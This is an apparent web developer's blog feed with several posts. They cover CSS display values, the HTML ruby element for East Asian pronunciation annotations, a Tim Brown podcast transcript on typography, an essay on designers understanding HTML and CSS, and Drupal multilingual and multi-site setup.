See the Pen CSS Display property by Chen Hui Jing (@huijing) on CodePen .

The element generates a block level box, but the entire box behaves like an inline element. Try it opening the above example on CodePen and adjusting your window width, it'll make more sense that way.

A responsive numeric stepper

One of the components I had to build was a numeric stepper for selecting different types of passengers. I got a static photoshop file with 1 mobile layout and 1 desktop layout. But there were all the in-between widths that weren't accounted for which "broke" the layout.

It was mainly due to the text in parenthesis that didn't collapse nicely. So I had to toss in a bunch of media queries to adjust the width and display of the relevant elements at different widths. Check out full-sized Codepen to see how the component responds at different window widths.

See the Pen CSS Display example by Chen Hui Jing (@huijing) on CodePen .

Remember them table-based layouts?

There are a set of display values that allow your elements to behave just like HTML tables. My fellow Singapore-based developer Colin Toh wrote a great post on the display: table property, which you should really check out.

Although most of us no longer use table-based layouts, display: table is still pretty useful in certain cases. For example, if you wanted to have tables only on wider layouts, but retain a typical block layout on smaller widths. This can be achieved with a combination of media queries and display (with some pseudo-elements thrown in for good measure), just resize this window to see how it works.

table

Corresponds to the <table> HTML element. It defines a block-level box.

table-header-group

Corresponds to the <thead> HTML element.

table-row

Corresponds to the <tr> HTML element.

table-cell

Corresponds to the <td> HTML element.

table-row-group

Corresponds to the <tbody> HTML element.

table-footer-group

Corresponds to the <tfoot> HTML element.

table-column-group

Corresponds to the <colgroup> HTML element.

table-column

Corresponds to the <col> HTML element.

table-caption

Corresponds to the <caption> HTML element.

inline-table

This is the only value that does not have a direct mapping to a HTML element. The element will behave like a table HTML element but as an inline-block rather than a block-level element.

@media screen and (min-width: 720px) {
  .table {
    display: table;
    width: 100%;
    border-collapse: collapse;
  }
}

.tr {
  margin-bottom: 1.6rem;
}

@media screen and (min-width: 720px) {
  .tr {
    display: table-row;
  }
}

@media screen and (min-width: 720px) {
  .td {
    display: table-cell;
    border: #f0f0f0 1px solid;
    padding: 0.4rem;
  }
  .td:first-child {
    width: 11em;
  }
}

.th {
  font-size: 1rem;
  line-height: 1.6rem;
  font-family: "Palo Alto";
}

@media screen and (min-width: 720px) {
  .th {
    font-size: 1.294rem;
    line-height: 1.6rem;
  }
}

@media screen and (min-width: 720px) {
  .th {
    font-size: 0.8rem;
    line-height: 1.6rem;
    font-family: "Roboto Slab", Rockwell, serif;
    font-weight: 700;
  }
}

@media screen and (min-width: 720px) and (min-width: 720px) {
  .th {
    font-size: 1rem;
    line-height: 1.6rem;
  }
}

.th::before {
  content: "display: ";
}

@media screen and (min-width: 720px) {
  .th::before {
    content: "";
  }
}

.th::after {
  content: ";";
}

@media screen and (min-width: 720px) {
  .th::after {
    content: "";
  }
}

New kids on the block

Tab Atkins Jr., the primary author of the Flexbox and Grid specifications, made a salient point about these new layout-specific display modes.

Flexbox is for one-dimensional layouts - anything that needs to be laid out in a straight line (or in a broken line, which would be a single straight line if they were joined back together). Grid is for two-dimensional layouts. It can be used as a low-powered flexbox substitute (we're trying to make sure that a single-column/row grid acts very similar to a flexbox), but that's not using its full power.

— Tab Atkins Jr. to www-style

Something to keep in mind as you adopt these new CSS layouts in your work, and are confused about when to use which.

`display: flex`

The introduction of the flexbox layout mode, or CSS Flexible Box, marks the first time we have a specification that is really meant for laying out content in the browser. Laying out content on the web has evolved quite a bit since HTML was first introduced. When designers wanted to have some creative layout, the first technique used was nesting HTML tables, or what we refer to as table-based layouts.

And when CSS started to pick up, we moved over to float-based layouts, by nesting our content in different divs to float them around to get the desired effect. Float-based layouts are still very common but with flexbox being fully supported by all current browsers as of time of writing, I think it won't be too long before flexbox and grid, which will be covered later, become the prevailing method for layout.

I'm going to reference Scott Vandehey's article What IS Flexbox?, where he asks Tab Atkins Jr. about the history of Flexbox. The earliest draft for the specification is dated July 23, 2009 but discussions started a few years before that.

However, nothing was formally structured and the various browser vendors sort of implemented flexbox but didn't really follow the specification. Which is why the flexbox syntax became pretty messy (and still is when it comes to backward compatibility on older browsers).

The flexbox model is very powerful, and because it can do a lot, some effort is required to fully understand how it works and how to use it. Both flexbox and grid require full-length articles to cover in depth, so I'll list my go-to resources for flexbox here:

A Complete Guide to Flexbox by Chris Coyier
Solved by Flexbox by Philip Walton
Flexbox Froggy by Thomas Spark
Using CSS flexible boxes by Mozilla Developer Network
CSS Flexbox Specification (Editor’s Draft)

By declaring display: flex on an element, it becomes a flex container, and its child elements become flex items. This does not cascade further, meaning the flex properties do not extend to the element's grandchildren. Both the flex container and flex items have their own respective flex properties.

Properties for flex container

flex-direction

Defines the main axis and direction of the flex items. Full list of flex-direction values.

flex-wrap

Specifies if the flex items adjust to fit in a single row or be allowed to wrapped onto multiple rows. Full list of flex-wrap values.

flex-flow

Short-hand property for flex-direction and flex-wrap. Full list of flex-flow values

justify-content

Defines how space between and around flex items are distributed along the main axis. Full list of justify-content values

align-items

Defines how space between and around flex items are distributed perpendicular to the main axis. Full list of align-items values

align-content

Specifies how lines of flex items are distributed within the flex container. Does not apply if flex items are on a single line only. Full list of align-content values

Properties for flex items

order

Specifies the order of how flex items are laid out, in ascending order of the order value. Flex items with the same order value are laid out according to source order. Full list of order values

flex-grow

Defines the ability for an element to grow if there is available space, with the value determining the proportion of space the element can grow into. (Told you this was sort of complicated). Full list of flex-grow values

flex-shrink

Defines the ability for an element to shrink if there isn't enough space, with the value determining the proportion of space the element can shrink to. Full list of flex-shrink values

flex-basis

Defines the default size of an element before any available space is distributed among all the flex items. Full list of flex-basis values

flex

Short-hand for flex-grow, flex-shrink and flex-basis, in that order. Full list of flex values

align-self

Allows the alignment of a single flex-item to be overridden. Full list of align-self values

Again, I highly recommend you check out the list of flexbox resources above, which are chock full of examples that help with the understanding of to use flexbox in your code.

`display: grid`

For anything related to the Grid layout, I always refer to Rachel Andrew, whom I regard as the guru of CSS grids. She has been spearheading the effort to increase awareness about this new display property through her talks, articles and tutorials.

CSS grid gives us a way to create grid systems and control the positioning of grid items purely through CSS, a clear separation of concerns from HTML. When used together with media queries, CSS grid becomes a powerful addition to your tool-belt when it comes to designing and building flexible layouts.

The current CSS Grid Layout Module Level 1 we have now started off as a working draft in 2011. Like flexbox, this specification came about from the growing need to have a proper method for laying out content on the web without compromising the semantics of HTML.

Note that CSS grid is not officially implemented in any browser, although Microsoft Edge and Internet Explorer support an older version of the specification behind the -ms- prefix. This is not surprising because a majority of the editors for the original grid specification were from Microsoft.

After the messy implementation of the flexbox specification, the development of CSS grids is taking a different approach. Browser vendors make use of vendor prefixes to add experimental features to browsers for developers to test out. This helps with the process of refining the specification and work out any kinks before they become official.

Instead of doing that, CSS grid has developed behind a flag. It has to be manually enabled by developers. In Chrome and Opera, navigate to chrome://flags and opera://flags respectively, and enable "experimental web platform features." For Firefox, navigate to about:config and set layout.css.grid.enabled and layout.css.grid-template-subgrid-value.enabled to true.

Key CSS grid terminology

Grid Container

Similar to the flex container concept, where applying `display: grid;` to an element makes it's direct descendants (child elements) grid items.

Grid Item

If an element's parent has `display: grid;` applied to it, then this element is considered a grid item. A grid item's child elements are NOT considered grid items.

Grid Track

Can be either the column or row of the grid.

Grid Line

Lines that define the structure of the grid. Think of them as the lines between the grid tracks.

Grid Cell

An individual grid unit, the space enclosed by adjacent horizontal and vertical grid lines.

Grid Area

Now this is the cool part. Grid allows you to define an area made up of multiple grid cells.

To try to cover grid in this short subsection is really doing the specification a disservice because the totality of what it can do is huge. Please do read through the following resources and experiment around with CSS grids. In fact, you can go to Grid by Example right now and access links to various CodePens that demonstrate how to use CSS grids for all kinds of use-cases.

The relatively obscure and experimental

`display: run-in`

Now this is a fun one I hadn't heard of until I started reading the CSS Display specification. And I also uncovered the 2010 article, CSS Run-in Display Value by Chris Coyier. Unfortunately, it seems that browser vendors are not fond of this specification at all and it has since been removed from all browsers, so you can think of this as an alternate reality specification. ¯\_(ツ)_/¯

Theoretically, if you set an element's display property to run-in, it renders as a run-in box. The use-case is to have a native method to create run-in headings, which in graphic design parlance is a heading positioned on the same line as the next line of body copy.

You could use floats to achieve a similar effect, but it is sort of a hack-ish method. Lining up the baseline of the header with the body copy is quite challenging, as you have to tweak the font-size of the header and the line-height of the body copy until they match up. And there may be situations where the header just 'catches' more than a single line.

If you want to use display: inline on the header instead, it won't work unless you nest the header element in the paragraph element of body copy (because p is a block element), and that is semantically incorrect. So I personally would have liked to see this implemented, but I suppose the browser vendors have more high priority specifications to worry about at the moment.

`display: ruby`

This particular property needs an introduction to the <ruby> element for it to make sense to you. In a nutshell, there is an element for displaying annotations alongside a base line of text, usually to help with pronunciation. They're a pretty common sight for East Asian languages, like Chinese or Japanese. Most of the articles I came across during my research were dated around 2010, so I wrote about the 2016 state of HTML <ruby>.

There are some parallels between display: ruby; and display: table;, but the specification strongly discourages applying ruby display values to non-ruby elements like span to display ruby text. Rather, we should markup our content using the HTML ruby elements so screen readers and non-CS renderers can interpret the ruby structures.

ruby

Corresponds to the <ruby> HTML element. It generates a ruby container box, which establishes a ruby formatting context for child elements marked as internal ruby boxes.

ruby-base

Corresponds to the <rb> HTML element. An internal ruby box in the ruby formatting context.

ruby-text

Corresponds to the <rt> HTML element. An internal ruby box in the ruby formatting context.

ruby-base-container

Corresponds to the <rbc> HTML element. An internal ruby box in the ruby formatting context.

ruby-text-container

Corresponds to the <rtc> HTML element. An internal ruby box in the ruby formatting context.

`display: contents`

The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.

—CSS Display Module Level 3

What the specification is trying to say is that, when you set display: contents on an element, it will disappear from the DOM but all its children remain and take up the space it occupied. Unfortunately, this specification is only supported by Firefox for now. Resize the full size CodePen in Firefox to get a feel of how it works.

See the Pen CSS display: contents by Chen Hui Jing (@huijing) on CodePen .

I've managed to uncover 2 articles that talk about this display property thus far, Firefox is releasing support for CSS display: contents by Sam Rueby and Vanishing boxes with display contents by Rachel Andrew. Rachel Andrew also presents a fantastic use-case for this property with flex-items. Do check out both articles.

Wrapping up

Whew, that ended up being way longer than I initially expected. So a big thank you if you actually read the whole thing. I'm really excited about the new options we'll have very soon to create unique layouts without having to resort to hacks, and I hope this post will encourage you to learn more about CSS layouts as well.

All about the HTML element (in 2016)

Fri, 17 Jun 2016 00:00:00 GMT

The ruby I'm talking about is not the Ruby programming language. As a native Mandarin speaker, this element is pretty relevant to me. If you have seen how East Asian glyphs are annotated with pronunciation guides, then this shouldn't be too foreign, but just in case you have no idea what I'm talking about, here's an image from the manga, Slamdunk.

Panel from Slamdunk

Local kindergarten textbook

See those little glosses along the main text? Those are known as Ruby characters (sometimes also called rubi). These short runs of text alongside the base text are usually used in East Asian documents as pronunciation guides.

East Asian writing systems

The Japanese language writing system is relatively complex, in that there are 2 kinds of syllabary, hiragana and katakana. There is also kanji, which are adopted from Chinese Han characters. As a single kanji potentially could have a variety of readings, ruby characters help indicate how they should be read. There is also the romanised version known as romaji.

東とう京きょう東トー京キョー東 tō 京 kyō

For Chinese, there are 2 styles of syllabary for ruby characters, the one used in mainland China (Pinyin) and the one used in Taiwan (Zhuyin).

北 běi 京 jīng 北ㄅㄟˇ 京ㄐ丨ㄥ

The Korean language also adopts some Chinese Han characters, and these are known as hanja. The Korean alphabet is hangul, which is the official script of both South and North Korea. Hangul is usually used as the ruby annotation for hanja characters. There is also a romanised version known as romaja.

韓 한 國 국 韓 han 國 guk

East Asian languages on the web

The W3C recommendation for ruby characters came about in ~~2001~~ 1998 to address formatting for such writing systems on the web. The specification defines markup required to define the association between the base text and the ruby text. This also allows for styling of content marked up in this manner with CSS.

Edit: The first Ruby working draft was published 21 Dec 1998, edited by Marcin Sawicki, with contributions from Martin Dürst, Masayasu Ishikawa and Chris Wilson

The initial working draft of the CSS Ruby module also came about in 2001 and became a candidate recommendation in 2003. The standard has evolved over the years and now we have the CSS Ruby Layout Module Level 1.

You can refer to the HTML specification for ruby for all the details. I found that the Japanese version of the HTML specifications provide better examples though. Even if you don't understand Japanese, there are images that can make things much clearer as to how each element should be used.

Browser support for <ruby>

As of time of writing, caniuse.com shows there is at least partial support for all major browsers, with Firefox fully supporting this property. No love from Opera Mini though. If you want details on how browsers support and render <ruby>, check out the W3C browser tests.

Using <ruby>

There are a number of ruby elements as defined in the HTML specification. The table below summarises what each of these elements do.

<ruby>

Creates the association between the base text and the ruby text. Serves as the parent container for all associated ruby elements.

<rbc>

Refers to the ruby base container element. Serves as the container for{" "} rb elements in the complex ruby markup use-case. Only one rbc{" "} element should appear in a ruby element.

<rb>

Refers to the ruby base element. Serves as the markup for base text. Multiple{" "} rb elements are allowed in an rbc element. Each rb{" "} element has a corresponding rt element.

<rtc>

Refers to the ruby text container element. Serves as the container for{" "} rt elements in the complex ruby markup use-case. A maximum of 2 rtc{" "} elements can appear in a ruby element.

<rt>

Refers to the ruby text element. Serves as the markup for ruby text. Can contain inline elements but cannot have ruby elements as children. Has{" "} rbspan attribute for use in complex ruby markup, which allows an rt{" "} element to span multiple rb elements.

<rp>

Refers to the ruby parenthesis element. Acts as a fallback option for user-agents which do not support ruby to differentiate ruby text from base text.

Basic ruby markup is supported by all major browsers except Opera Mini.

大马女子篮球队 dà mǎ nǚ zǐ lán qiú duì

<ruby>
  <rb>大马女子篮球队</rb>
  <rt>dà mǎ nǚ zǐ lán qiú duì</rt>
</ruby>

The complex ruby markup (use of the <rtc> and <rbc> elements) is only fully supported by Firefox, so if you're using any other browser, the example should have parentheses around the ruby annotations, and the formatting may look quite bad. In Firefox, the <rp> tag tells the browser to ignore those parentheses.

{/_ prettier-ignore _/} 大(dà) 马(mǎ) 女(nǚ) 子(zǐ) 篮(lán) 球(qiú) 队(duì) (Malaysia Women's Basketball Team)

<ruby>
  <ruby xml:lang="zh">
    <rbc>
      <rb>大</rb><rp>(</rp><rt>dà</rt><rp>)</rp>
      <rb>马</rb><rp>(</rp><rt>mǎ</rt><rp>)</rp>
      <rb>女</rb><rp>(</rp><rt>nǚ</rt><rp>)</rp>
      <rb>子</rb><rp>(</rp><rt>zǐ</rt><rp>)</rp>
      <rb>篮</rb><rp>(</rp><rt>lán</rt><rp>)</rp>
      <rb>球</rb><rp>(</rp><rt>qiú</rt><rp>)</rp>
      <rb>队</rb><rp>(</rp><rt>duì</rt><rp>)</rp>
    </rbc>
  </ruby>
  <rtc xml:lang="en" style="ruby-position: under;">
  <rp>(</rp><rt>Malaysia Women's Basketball Team</rt><rp>)</rp>
  </rtc>
</ruby>

For the benefit of people who do not have Firefox installed, here's how the markup is supposed to be rendered.

If you noticed the additional ruby-position style applied to the bottom ruby text, that's because the default position of ruby text is above the base text. In this case, there are 2 lines of ruby text and they will overlap each other. Setting ruby-position: under; moves that line under the base text instead.

Styling <ruby> elements

There are 3 formatting properties we can use with ruby elements, ruby-position, ruby-merge and ruby-align.

`ruby-position`

The property only applies to ruby element containers, <rtc> and <rbc>, and controls the position of ruby text with respect to its base. As of time of writing, this only works on Firefox.

over

Renders the ruby text above the base for horizontal text and to the right of base for vertical text. It's the default value.

under

Renders the ruby text below the base for horizontal text and to the left of base for vertical text

inter-character

Renders the ruby text on the right of each base character for horizontal text, but this forces the ruby text to be displayed vertically. (Currently not implemented anywhere)

ruby-position: over

ruby-position: under

ruby-position: inter-character

`ruby-merge`

This property controls how ruby boxes should be rendered if there are multiple ruby containers adjacent to each other. This property is essentially not implemented in any browser simply because the only value that works is separate, which is the default value.

<ruby>無<rt>む</rt></ruby
><ruby>常<rt>じょう</rt></ruby>

<ruby style="ruby-merge:separate"><rb>無</rb><rb>常</rb><rt>む</rt><rt>じょう</rt></ruby>

The above two code examples mean exactly the same thing. Each annotation box is in the same column as its corresponding base box, and this style is called "mono ruby".

There is also the collapse value, which concatenates all ruby annotation boxes within the same ruby segment on the same line. This combined annotation box spans across their corresponding base boxes.

<ruby>無常<rt>むじょう</rt></ruby>

<ruby style="ruby-merge:collapse"><rb>無</rb><rb>常</rb><rt>む</rt><rt>じょう</rt></ruby>

The above two code examples mean exactly the same thing. Each annotation box is in the same column as its corresponding base box, and this style is called "group ruby".

The auto value cedes the rendering style to the user agent depending on the length of the annotation box with respect to the base box.

`ruby-align`

This property dictates the distribution of ruby boxes when their contents do not fill their respective boxes exactly. Currently, Firefox is the only browser that supports this property.

start

Aligns ruby content with the start of its box.

center

Centres ruby content within its box.

space-between

Distributes ruby content evenly within its box from edge to edge.

space-around

Distributes ruby content evenly within its box, but does not necessarily fill up space from edge to edge.

Wrapping up

Support for the <ruby> element has improved quite a lot since 2010, and although the more complex markup and styling options are limited to Firefox only, at least all browsers can display basic ruby markup now. Below is the list of relevant resources for the HTML <ruby> element if you're interested to find out more.

{/_ prettier-ignore _/}

Tim Brown on Shoptalk Ep. 218

Wed, 01 Jun 2016 00:00:00 GMT

Episode 218 of Shoptalk featured an audio clip by one of my favourite designers, Tim Brown. It's a short clip, but it really resonated with me, and I thought I'd share it with everyone. You should really listen to the podcast in its entirety. In fact, subscribe to it in the pod-catcher of your choice, you have nothing to lose and everything to gain. Anyway, here's the full transcript of what he said.

Modular scales are like rulers. They help you measure, but you decide what your measuring. The real power of modular scales is that they anchor your measurements to something sturdy. Web layouts and viewport dimensions are fluid, of course, but a person's default font size, whatever that is, they have it. That is something you can count on. So it's smart to make that the basis of your measurement.

Relating various measurements by a ratio, in my experience, makes things look really good. Of course, I tweak things and eyeball things, I don't always stick to a scale. No one ratio is better than other ratios. Some people think that there's magical power in the golden section, but I think of it as a ratio that feels like some classic serifed typefaces feel. It lends that feeling to my work. That's really what I get out of ratios. It brings that certain feeling to the work in the same sort of indescribable way that using some fonts brings a feeling to the work.

At that talk I gave at Build, which was my first ever conference talk, I showed a couple things I would not recommend doing. One of them is I used pixels for measurement. I did that on purpose in that talk because I thought introducing modular scale math would be easier that way. I thought that showing ems, which at the time a lot of people were resistant would over-complicate the examples. I think that was a mistake because lots of people have watched the video and I don't want them to think pixels are a good thing to use for sizing.

The other thing I did was I picked a number from the modular scale for line height. That's problematic. I've come to think differently about line height. This gets to the vertical rhythm issue. This is a little tricky to explain but stay with me. Let's say you're type-setting a website. You have a font for your body text and that text is set at a specific font size, your next decisions should be about how narrow or wide the paragraphs of body text can be and still look good to you.

In a fluid layout, the width of a text block flexes within those limits. What you'll find is that wider text blocks look better with loose line spacing and narrow text blocks look better with tight line spacing. So what we really need is fluid line spacing, which i have dubbed Molten Leading.

You can pull this off with JavaScript or with CSS calc() or viewport units. You see the problem here is that would interfere with vertical rhythm. I give a talk called Universal Typography, where I describe the relationship between font size, line height and width. Those 3 things are really important in combination.

Because of the way text moves in fluid compositions you almost never want to nail down your line height. It's possible that in the future, we could advance molten leading to be more like molten white-space, and that might help vertical rhythm stay intact better in a fluid composition.

But I think there's a bigger issue here, and that is that we seek definitive formulaic answers to aesthetic problems. We want rules to follow, that we feel like we did things right, so we have a defensive position when someone criticises our work. The thing is you can't prove design is good, you can only convince people. When you try to that by employing a method like vertical rhythm, which currently doesn't mesh well with the web's fluidity, you have a problem.

That last paragraph right there was what did it for me, reminding me that for all the rules and guidelines we try to follow, sometimes, a designer's intuition is really what makes a difference.

Web designers, can you speak web?

Thu, 21 Apr 2016 00:00:00 GMT

To start things off, let me state my position. This house proposes that because HTML and CSS are the language of the web, it is mandatory for anyone who wishes to design for the web to understand the relationship between HTML and CSS, and the browsers which render them.

There have been many opinion pieces written about whether designers need to learn to code or whether developers need to know design. Using the word "many" is probably understating the sheer volume of articles that have been published. Just google "Designers learn code". Go on, I'll wait. Check the timestamps on some of those results, you'll see that this debate has raged on for years and there seems to be no end in sight.

Artisans and their media

Instead of jumping right into that controversial topic, let's talk about medium. For artists, medium is the material they use to create works of art. But medium is not only relevant for artists. Carpenters, bakers, chefs, architects too have specific media they work with.

Think of all the different categories of designers out there, industrial designers, fashion designers, graphic designers, interior designers and so on. In order to do great work in their respective fields, all these professionals must have a deep and comprehensive understanding of the media they work with.

Industrial designers need to have a key understanding of materials and manufacturing processes. Fashion designers have an innate understanding of the characteristics of different fabrics and how they behave in various contexts. Artists learn pretty early on that although its theoretically possible to use any paint on any surface, there are preferred combinations of media simply because of their nature, and this will affect their choice of painting technique as well.

It's a pretty logical expectation to have, right? For the artisan in question to have extensive and thorough knowledge of their respective media. I think this can be said for most of the aforementioned professions.

So what is the medium that web designers work with? That's simple, the browser! But what I find curious is, that for web design, it seems that some of us can get away with being unfamiliar with browser technologies. And to me, this is unacceptable, and quite unbecoming, to be honest.

To be fair, the browser is a relatively young medium. Compared to all the other media out there, the browser is practically just a toddler. The very first web browser (called WorldWideWeb) was invented in 1990 by Sir Tim Berners-Lee. So as of time of writing, that's only 26 years. I've lived longer than that. ¯\_(ツ)_/¯

Browser is to web designer as canvas is to painter

A web designer's work lives in the browser. And the browser is a piece of software that requests web resources from servers connected to the internet, and displays them in the browser window.

The World Wide Web is built on Hypertext Markup Language (HTML). Sure there are all kinds of media available online, but there is no web without HTML. Browsers render HTML according to the HTML and CSS specifications, which are maintained by the World Wide Web Consortium (W3C).

The web introduced us to a canvas we've never seen before. Browser windows and electronic screens are twenty-first century inventions. All other categories of design have had at least more than hundreds of years of history and established norms.

What do we do when we encounter something new? We try to make sense of it by connecting it to something we are familiar with. The fact that we use the term "web pages", naturally led people to associate web design with print design.

And therein lies the issue. Firstly, there's the fact that we cannot directly manipulate digital media. Whatever we input has to be first processed by a computer. And the web is distinct from any other media on the planet because we have very limited control over how users consume the work we produce on the web.

The control which designers know in the print medium, and often desire in the web medium, is simply a function of the limitation of the printed page. We should embrace the fact that the web doesn’t have the same constraints, and design for this flexibility. But first, we must “accept the ebb and flow of things.” - John Allsopp

John Allsopp wrote his seminal article A Dao of Web Design back in 2000 imploring web designers to move away from the rigidity of a printed page and embrace the flexibility of the browser as a medium. It's been 16 years since, but we're still working on that.

I truly believe that web designers must understand browser technologies in order to design well. If you don't understand how your the browser renders stuff onto the screen, how can you design for it? It is so common to hear developers complaining about designers handing them "impossible designs".

Look, you can't carve a sculpture if your media are paint and canvas.

But designers don't want to code

This is the part where everyone has an opinion. Some people argue HTML and CSS are not programming languages, some say they are. Some people think designers learning to code is a waste of time because left brain right brain. Some people think developers ought to learn design. Sure, why not?

Now I want to point out that my position did not state that web designers must know how to code. But I do think it's an extremely useful tool to have in your toolbox. And I'm not even talking about being able to handle all the different aspects of getting a website up and running. Just HTML and CSS.

Equally (or maybe more) important is understanding how browsers work. Do you know why the design doesn't look the same when viewed on different browsers or operating systems? Why do certain portions of the site appear broken on a particular browser (**cough** Safari) yet not others? If Blink, WebKit, Gecko and Edge sound like names of exotic dancers to you, then you definitely don't pass muster. 🙅

But front-end code (just HTML and CSS; let’s forget JavaScript for now) is intrinsically linked to the design process. It’s a design tool just as much as Photoshop. - Elliot Jay Stocks

I find this quote by Elliot Jay Stocks, former Creative Director of Adobe Typekit and co-founder of Lagom, really hits the point home. If the browser is your canvas, then HTML and CSS are your paints and brushes.

Rather than asking if designers should learn to code, we should be asking if designers know whether their designs can be built, and whether their designs are usable.

Web design is more than good looks

The web is not a static medium, it's an interactive one. Hence, web design encompasses so much more than just visuals. Usability is not the sole responsibility of user experience practitioners. If you ask me, user experience is the responsibility of every single person on the team, but that's another argument for another day.

A thorough understanding of the web includes knowing what needs to be implemented and designed from an accessibility standpoint. Because the web is consumed so dynamically, from the infinite range of screens, to screen readers and other assistive technologies.

Designing for a dynamic canvas, from screens that fit in your palm, to 27-inch 5K iMac displays and beyond, requires a significantly different approach from designing for a static-sized canvas. Responsive design, anybody? This affects how we use images, how we scale typography as different viewport widths, laying out of critical content and so on.

Speaking of content, the web is also an informational medium. Content is king. It's safe to say we don't design websites, we design content. I'm not saying visual design isn't important. It is. But its purpose is to enhance the users' consumption of the content.

Just because a designer can wield digital tools like a surgeon wields a scalpel doesn't mean he/she is a good web designer. Not to say that static mock-ups are worthless, on the contrary, static mock-ups are great as guidance for the look and feel, but they should not be used as blueprints for a web design.

In spite of the wide range of tools available to help designers design responsive websites, there is no better tool than actual HTML and CSS. A web designer who isn't fluent in HTML is like a colour-blind painter.

Building a great web experience takes teamwork

If you firmly believe that designers should stick to designing and developers should stick to coding, that's fine too. But then communication between the two groups becomes even more critical. Both designers and developers have to be collaborating closely right from the start for the end-result to be a success.

And if designers and developers work so closely together, it's impossible that the designer won't pick up HTML and CSS along the way. Conversely, the designers' design sense will inevitably rub off on the developers as well. Does that mean you can switch roles? Of course not! There's a reason you each chose your respective careers. But a better understanding of each other's work goes a long way.

Again, it's not about the writing of code, it's about the understanding of the medium, how it behaves and how it's consumed. Of course, if the web designer can write his/her own code, more power to them.

Wrapping up

Web design is a domain of its own. Yes, we borrow ideas and concepts from all other disciplines, but the web is unique, and requires its own set of processes and a different set of skills. And to be fair, all of us working on the web are still trying to work out the best way to do things. To me, it's a beautiful marriage of technology and creativity. We just have to keep learning and growing. So, web designers, can you speak web?

Related resources

CSS specifications
HTML Living Standard (Link updated on 9 May 2016 after Kai Hendry pointed out this is the canonical reference. Read W3C vs. WHATWG HTML5 Specs – The Differences if interested.)
Mozilla Developer Network
How Browsers Work: Behind the scenes of modern web browsers by Tali Garsiel (The best primer on how browsers work)
How browsers work internally by Tali Garsiel (Conference talk at Front Trends 2012)
A Dao of Web Design by John Allsopp
Responsive Web Design by Ethan Marcotte
Web designers who can’t code by Elliot Jay Stocks

Fun reads

The Human Computer and the Birth of the Information Age by David Alan Grier Try to get your hands on the original paper 🤓
When Computers were Human by David Alan Grier (The story of computation before the invention of the computer)
Weaving the Web by Tim Berners-Lee (The origins of the web as told by the creator himself)
Design for Real Life by Sara Wachter-Boettcher and Eric Meyer (Principles for inclusive design)

Credits: OG:image from Midphase Blog

Drupal 101: Setting up basic i18n

Wed, 13 Apr 2016 00:00:00 GMT

One of the best things about Drupal is its robust multilingual support. If you need to build a website that supports multiple languages, Drupal should definitely be an option to consider.

Required modules

Locale (core module)
Content translation (core module)
Internationalization
Variable (dependency for Internationalization)

Making your site multi-lingual

Install and enable the required modules.
```
drush en i18n i18n_node -y
```
This will enable i18n and its dependencies. The i18n module comes with a number of sub-modules, which you can enable based on your requirements. For now, just enable i18n_node for content translation. Go here for a comprehensive write-up of all the sub-modules.
Go to admin/config/regional/language and add the languages you want to support. You can select from a list of predefined languages as well as add your own custom language.
You can add as many languages as you need to support, and manage them from the Languages admin interface.
There are several options for accessing each of the translated versions of the site. The most common method is via URL, either by domain or by path prefix, and Drupal 7, out-of-the-box, supports both these options.

Translating content

If you started out on a brand new site with no content, then this issue won't apply to you, but if your site already had content before you turned on multi-lingual support, you may see your existing content being assigned as Language neutral.
Every content type, by default, has multilingual support turned off. Changing this to Enabled will give you the option to set the default language for a particular piece of content, while changing it to Enabled, with translation will add a Translate tab when you're editing that piece of content.

Enable content translation

Additional translate tab

The Translate tab shows all the translations of a particular piece of content. Each translation is a separate node, but they are all recognised as translations of the source content by a tnid in the database.

Translating other parts of the site

There's a lot more content that requires translation other than just plain content from nodes, from menus, to taxonomy terms to views and that's the reason there are so many sub-modules for the i18n module. The translation functionality has been modularised in this manner for ease of customisation.

Translation is always tricky to implement, and there are certain gotchas that may trip you up, especially if your site is more complicated. Trust me, I've been there so I wrote up a couple of translation gotchas from a previous project.

Menu translation

Activating this sub-module will turn on Translation sets as well, and you will see additional Translate tabs and Multilingual options interfaces when you edit your menus.

Setting your menus to Translate and localise let's you translate the menu links and they will appear in their respective languages specified, if a translation was provided.

Taxonomy translation

Turning this sub-module on allows you to provide translations for your taxonomy terms. The difference between localise and translate is that localisation uses the same taxonomy ID across languages while translating creates a new taxonomy term altogether.

Views translation

Views is an indispensable module for many sites and it is possible to translate every part of your content created from views. It is also possible to filter your views content based on language so if a particular piece of content does not have a corresponding translation, it will not show up in the view.

The translate views interface lets you translate elements that are generated by views like buttons, links and custom content entered into the views header or footer.

String translation

This sub-module allows you to translate user-defined strings. Depending on which other sub-modules are enabled (e.g. menu or panels or views), different sets of texts are made available to be translated.

You will be able to see the original string, and enter an appropriate translation to that string.

Wrapping up

This post has merely skimmed the surface of building a multi-lingual site with Drupal, and if your project requires a multi-lingual implementation, Drupal is definitely an option worth considering. It may not be perfect, but it does the job reasonably well compared to its competition.

The one with lots of poultry

Wed, 13 Apr 2016 00:00:00 GMT

Most of the projects I worked on in 2015 were either Facebook applications (yes, somehow those are still being made) or based on the Base Framework. I didn't think there'd be much opportunity for me to work with Drupal for client sites moving forward but I was wrong. After almost 6 Drupal-free months, we got a client request to build their website in Drupal. Guess who was put in charge of that project? 😎

Sadia is an international food company which specialises in chilled and frozen foods. We were engaged to create regional websites for Sadia Singapore and Sadia Hong Kong. On the surface this project didn't seem overly-complicated. Each site would have country-specific domain names.

The Hong Kong site would be a multi-lingual implementation but the Singapore site would be single language. In the initial brief, both sites would have almost the same content, but as requirements were being clarified, it seemed that the amount of shared content was much less than initially expected.

Decisions...decisions...

Based on my prior experience with the Xinmsn project, I knew that it would be important to make the correct architectural call at the start of the project. And after thinking through the requirements, plus some discussion with the team, we decided to go with a multi-site implementation with separate databases but a single code-base.

This meant maintenance of 2 separate sites, one for Sadia Singapore, which would be a mono-lingual English site, and one for Sadia Hong Kong, a bi-lingual English/Chinese site. The English language content for both sites would be almost identical, and I understood this meant a duplication of effort for the content creators but this was a con we could live with.

Developing a multi-site implementation

I set up my local machine using dnsmasq so all the folders in my Sites folder, if require an AMP stack, can be accessed just by appending a .dev behind the folder name. There's probably some configuration I could do to have the configuration point to the subdirectories of the 2 sites but I didn't take the time to research it and just manually changed the database in the default settings.php file if I needed to switch sites.

Admittedly not my finest solution, but you know, pros and cons. My local machine setup is kinda unorthodox to begin with, so it's my own cross to bear here. To get the multi-site setup to work on a remote Linux server, however, was much easier to get working.

